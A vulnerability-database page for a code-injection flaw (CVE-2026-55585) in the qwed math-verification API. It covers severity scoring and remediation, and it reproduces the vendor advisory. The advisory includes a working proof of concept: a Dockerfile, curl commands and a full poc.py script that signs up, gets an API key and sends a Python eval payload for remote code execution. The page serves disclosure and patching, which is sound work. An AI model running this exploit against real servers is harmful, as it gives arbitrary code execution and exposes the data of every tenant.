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qwed EUVDEUVD-2026-65580

| CVE-2026-55585 HIGH
Code Injection (CWE-94)
2026-08-25 https://github.com/QWED-AI/qwed-verification GHSA-q27q-98j4-9pfv
8.8
CVSS 3.1 · Vendor: https://github.com/QWED-AI/qwed-verification
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Self-register account via POST /auth/signup
  2. Delivery
    Obtain tenant API key via POST /auth/api-keys
  3. Exploit
    Submit crafted Python expression to POST /verify/math
  4. Execution
    parse_expr() invokes eval() with unrestricted namespace
  5. Persist
    Arbitrary Python executes as server OS user
  6. Impact
    Full filesystem read/write and OS command execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

A valid tenant API key is required, obtainable by any party who completes self-registration at POST /auth/signup, which is enabled by default in qwed 5.1.1 and requires no invitation code or administrator approval - effectively making account creation open to any network-reachable party. No special server-side configuration, non-default feature enablement, or elevated privilege is required. Two independently reachable sinks exist: POST /verify/math (expression field in the request body) and POST /verify/batch (query field of a MATH-type batch item). Exploitation is constrained only by network reachability to the API server; in internet-exposed deployments, the vulnerability is exploitable by any anonymous party willing to register an account. The only factor limiting exploitation scope is network access - authenticated tenant accounts are freely self-issued.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H scores 8.8 (High), accurately reflecting network-reachable exploitation with full confidentiality, integrity, and availability impact. The PR:L rating is technically correct but understates the practical risk: the required low-privilege account is freely self-registerable with no administrator approval or invite code, so the effective barrier in default deployments is virtually equivalent to PR:N. A fully working PoC with Docker reproduction steps is publicly available as part of the advisory, significantly lowering the skill threshold for exploitation. No EPSS data was provided in the input and the vulnerability is not listed in the CISA KEV catalog at time of analysis. The two independently reachable exploit sinks (direct math endpoint and batch job processing) eliminate any single-point workaround short of patching. The only meaningful mitigating factor limiting blast radius is the relatively niche deployment footprint of the qwed package itself; for any organization running qwed 5.1.1 with public signup enabled, this is a critical operational priority.

Exploit ScenarioDerived

An attacker self-registers a free account via POST /auth/signup (requiring only an email, password, and organization name - no approval needed), then calls POST /auth/api-keys with the returned JWT to obtain a tenant API key. The attacker then sends a POST /verify/math request with the x-api-key header and an expression field containing a Python payload such as __import__('pathlib').Path('/tmp/pwned').write_text('owned'), which parse_expr() evaluates via eval() inside the server process - writing the file with the server's OS user privileges and returning HTTP 200. A complete, runnable exploit script (poc.py) is publicly available in the advisory repository.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 25, 2026

Remote code execution in qwed 5.1.1 allows any authenticated tenant to execute arbitrary Python code inside the API server process by submitting crafted mathematical expressions to the POST /verify/math or POST /verify/batch endpoints. User accounts are freely self-registerable via the default-enabled /auth/signup endpoint - no invitation code or administrator approval required - making the effective exploitation barrier nearly equivalent to unauthenticated. A complete, functional proof-of-concept exploit script is publicly available in the GitHub advisory (GHSA-q27q-98j4-9pfv), and a vendor-released patch is available in version 5.1.2.

RemediationAI

Upgrade qwed to version 5.1.2 immediately; this release replaces all direct calls to sympy.parsing.sympy_parser.parse_expr() at both vulnerable sites with the new safe_parse_expr() wrapper in qwed_new.core.safe_parser, which enforces a denylist of dangerous constructs (__import__, eval, exec, os, subprocess, open, etc.), removes __builtins__ from the eval namespace, restricts the local symbol dictionary to an explicit mathematical allowlist, and enforces AST and SymPy tree depth limits as a denial-of-service defense. The fix is available at https://github.com/QWED-AI/qwed-verification/pull/200 and confirmed in the GHSA advisory at https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv. If an immediate upgrade is not feasible, disable the /auth/signup endpoint to prevent unapproved account self-registration - this raises the exploitation bar from zero to requiring a pre-existing tenant credential, but does not eliminate the underlying code injection vulnerability. Additionally, restrict network-level access to the /verify/math and /verify/batch endpoints to trusted clients only; note this is a defense-in-depth measure, not a substitute for patching.

Affected VersionsENISA

qwed-verification < 5.1.2

Affected Packages

pypi qwed fix: 5.1.2
euvd qwed_verification fix: 5.1.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The qwed Python package (pip/qwed, versions prior to 5.1.2) uses SymPy's parse_expr() function to evaluate user-supplied mathematical expressions submitted to its verification API. SymPy's parse_expr() internally calls Python's eval() and accepts global_dict and local_dict parameters that - when properly set to restrict __builtins__ and supply only an allowlisted namespace - would confine what names are accessible during evaluation. At src/qwed_new/api/main.py:504 (primary sink, POST /verify/math) and src/qwed_new/core/batch.py:239 (secondary sink, POST /verify/batch), neither call site supplies these parameters, leaving the full Python built-in namespace - including __import__, exec, open, subprocess, and os - accessible to any caller. A cosmetic regex normalization applied before the parse_expr() call (re.sub to handle implicit multiplication) performs no security validation whatsoever. The root cause is CWE-94 (Improper Control of Code Generation): attacker-controlled string data flows directly into an eval-backed parser without namespace restriction or sandboxing.

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Severity by source

Vendor (https://github.com/QWED-AI/qwed-verification) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

AV:N and AC:L because exploitation is a direct HTTP POST with no special conditions; PR:L because a tenant account is required, even though it is freely self-registerable by default.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/QWED-AI/qwed-verification).

CVSS VectorVendor: https://github.com/QWED-AI/qwed-verification

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink - POST /verify/math

src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:

python
# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized)
# line 504 - unsandboxed eval

Secondary sink - POST /verify/batch

src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:

python
# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression)
# line 239 - unsandboxed eval

parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

bash
# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

  • QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789
  • API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789
  • QWED_CORS_ORIGINS=http://localhost
  • QWED_SKIP_ENV_INTEGRITY_CHECK=true
  • DATABASE_URL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

bash
python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

  1. Register an account - POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).
  2. Obtain an API key - POST /auth/api-keys using the JWT returned from signup.
  3. Send the RCE payload - POST /verify/math with the x-api-key header and the expression:
__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')

Expected output

[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned - payload evaluated without error.

The server returns HTTP 200 and {"value": 23.0} - the return value of write_text() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.

Decisive verification

bash
docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
# Expected: pwned_by_parse_expr_rce

The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwed_batch_parse_expr_rce was also confirmed during dynamic testing.

Manual curl reproduction (no Python script)

bash
# Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
  -H 'Content-Type: application/json' \
  -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')
# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"name":"poc"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
# Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
  -H 'Content-Type: application/json' \
  -H "x-api-key: $APIKEY" \
  -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'
# Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
# Expected: owned

Impact

This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.

Concrete impact includes:

  • Confidentiality - read any file accessible to the server process (environment variables, secret keys, database contents, source code).
  • Integrity - write or overwrite any file accessible to the server process, modify database records, plant backdoors.
  • Availability - terminate the server process, exhaust resources, corrupt persistent storage.

In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.

Reproduction artifacts

Dockerfile
dockerfile
# VULN-001 Reproduction Environment
# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
#
# Build from the repo root (one level above vuln-001/):
#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
#
# Run:
#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

FROM python:3.12-slim-bookworm

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

WORKDIR /app
# Install minimal build dependencies required by some native extensions
RUN apt-get update \
    && apt-get install -y --no-install-recommends gcc g++ \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/*
# Copy the repository source
COPY repo/ /app/repo/
# Install hatchling build backend, then install the package with all dependencies
# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
    && pip install --no-cache-dir -e /app/repo
# Runtime environment variables - minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
    QWED_CORS_ORIGINS="http://localhost" \
    QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
    DATABASE_URL="sqlite:////tmp/qwed-poc.db"

EXPOSE 8765

CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \
     "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]
poc.py
python
#!/usr/bin/env python3
"""
Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() - VULN-001

Affected product : QWED 5.1.1 (QWED-AI/qwed-verification)
Endpoint         : POST /verify/math
CWE              : CWE-94 - Improper Control of Code Generation
CVSS             : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Root cause:
  src/qwed_new/api/main.py:504 passes attacker-controlled input directly to
  sympy.parsing.sympy_parser.parse_expr() without a restricted global/local
  namespace.  parse_expr() internally calls eval(), so any valid Python
  expression - including __import__() calls - is executed server-side.

Exploit chain:
  1. Register an account via POST /auth/signup   (open to any user by default)
  2. Obtain an API key via POST /auth/api-keys
  3. POST /verify/math with expression=<python code>
     The code runs inside the server process.

Observable evidence:
  - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated
  - A marker file is written inside the container; verify with:
      docker exec <container> cat /tmp/qwed_parse_expr_rce
    Expected content: "pwned_by_parse_expr_rce"

Usage:
  python3 poc.py [--host 127.0.0.1] [--port 8765]
"""

import argparse
import json
import sys
import time

import requests
# Path written inside the server process by the RCE payload
RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce"
# Content written to the marker file (must not contain quotes)
RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce"


def wait_for_server(base_url: str, timeout: int = 90) -> bool:
    """Poll the server health endpoint until it responds or timeout expires."""
    print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...")
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f"{base_url}/health", timeout=2)
            if r.status_code < 500:
                return True
        except requests.exceptions.ConnectionError:
            pass
        time.sleep(2)
    return False


def signup(base_url: str) -> str:
    """
    Create an attacker-controlled account and return the JWT bearer token.
    /auth/signup is enabled by default and requires no prior authorization.
    """
    payload = {
        "email": "poc-attacker@example.com",
        "password": "Attacker1234!",
        "organization_name": "vuln001-attacker-org",
    }
    r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15)
    if r.status_code == 400 and "already registered" in r.text:
# Account exists from a previous run; sign in instead
        sign_in_payload = {
            "email": payload["email"],
            "password": payload["password"],
        }
        r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15)
    r.raise_for_status()
    token = r.json()["access_token"]
    return token


def create_api_key(base_url: str, bearer_token: str) -> str:
    """
    Create an API key for the attacker account.
    Returns the plaintext key (shown only once by the API).
    """
    headers = {"Authorization": f"Bearer {bearer_token}"}
    r = requests.post(
        f"{base_url}/auth/api-keys",
        json={"name": "vuln001-poc"},
        headers=headers,
        timeout=15,
    )
    r.raise_for_status()
    return r.json()["key"]


def exploit(base_url: str, api_key: str) -> dict:
    """
    Send the RCE payload to POST /verify/math.

    The expression uses pathlib.Path.write_text() which:
      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process
      - Returns an integer (bytes written) that parse_expr() can handle without
        raising an exception, making the side-effect transparent to the caller

    The absence of an error and a 200 status code proves code execution.
    """
    expression = (
        f"__import__('pathlib')"
        f".Path('{RCE_MARKER_PATH}')"
        f".write_text('{RCE_MARKER_CONTENT}')"
    )
    headers = {
        "Content-Type": "application/json",
        "x-api-key": api_key,
    }
    r = requests.post(
        f"{base_url}/verify/math",
        json={"expression": expression},
        headers=headers,
        timeout=20,
    )
    content_type = r.headers.get("content-type", "")
    body = r.json() if "application/json" in content_type else r.text
    return {"status_code": r.status_code, "body": body}


def main() -> None:
    parser = argparse.ArgumentParser(
        description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1"
    )
    parser.add_argument("--host", default="127.0.0.1", help="API server host")
    parser.add_argument("--port", type=int, default=8765, help="API server port")
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"
# ── Step 0: wait for server ──────────────────────────────────────────────
    if not wait_for_server(base_url):
        print("[FAIL] Server did not become ready within the timeout.")
        sys.exit(1)
    print("[+] Server is ready.\n")
# ── Step 1: sign up ──────────────────────────────────────────────────────
    print("[*] Step 1/3: Creating attacker account via POST /auth/signup")
    bearer_token = signup(base_url)
    print("[+] Account created; JWT bearer token obtained.\n")
# ── Step 2: API key ──────────────────────────────────────────────────────
    print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys")
    api_key = create_api_key(base_url, bearer_token)
    print(f"[+] API key (first 20 chars): {api_key[:20]}...\n")
# ── Step 3: exploit ──────────────────────────────────────────────────────
    rce_expression = (
        f"__import__('pathlib')"
        f".Path('{RCE_MARKER_PATH}')"
        f".write_text('{RCE_MARKER_CONTENT}')"
    )
    print("[*] Step 3/3: Sending RCE payload to POST /verify/math")
    print(f"    expression = {rce_expression}\n")

    result = exploit(base_url, api_key)

    print(f"[*] HTTP status : {result['status_code']}")
    print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")

    if result["status_code"] == 200:
        print("=" * 60)
        print("[PASS] HTTP 200 returned - payload evaluated without error.")
        print(f"       The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}")
        print()
        print("       Verify decisive evidence inside the container:")
        print(f"         docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}")
        print("=" * 60)
        sys.exit(0)
    else:
        print(f"[FAIL] Unexpected HTTP {result['status_code']} - exploit did not succeed.")
        sys.exit(2)


if __name__ == "__main__":
    main()

Executive ViewAI

Why It Matters

qwed versions prior to 5.1.2 contain a critical remote code execution vulnerability with publicly available exploit code, enabled by default self-service user registration that effectively bypasses authentication barriers and allows code execution within production API servers. This creates immediate risk of data theft, system compromise, or service disruption across deployed instances. Patching to version 5.1.2 is required to eliminate this attack vector.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 63% exploitable
Prevalence
Low
niche Python math-verification API package, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

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In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

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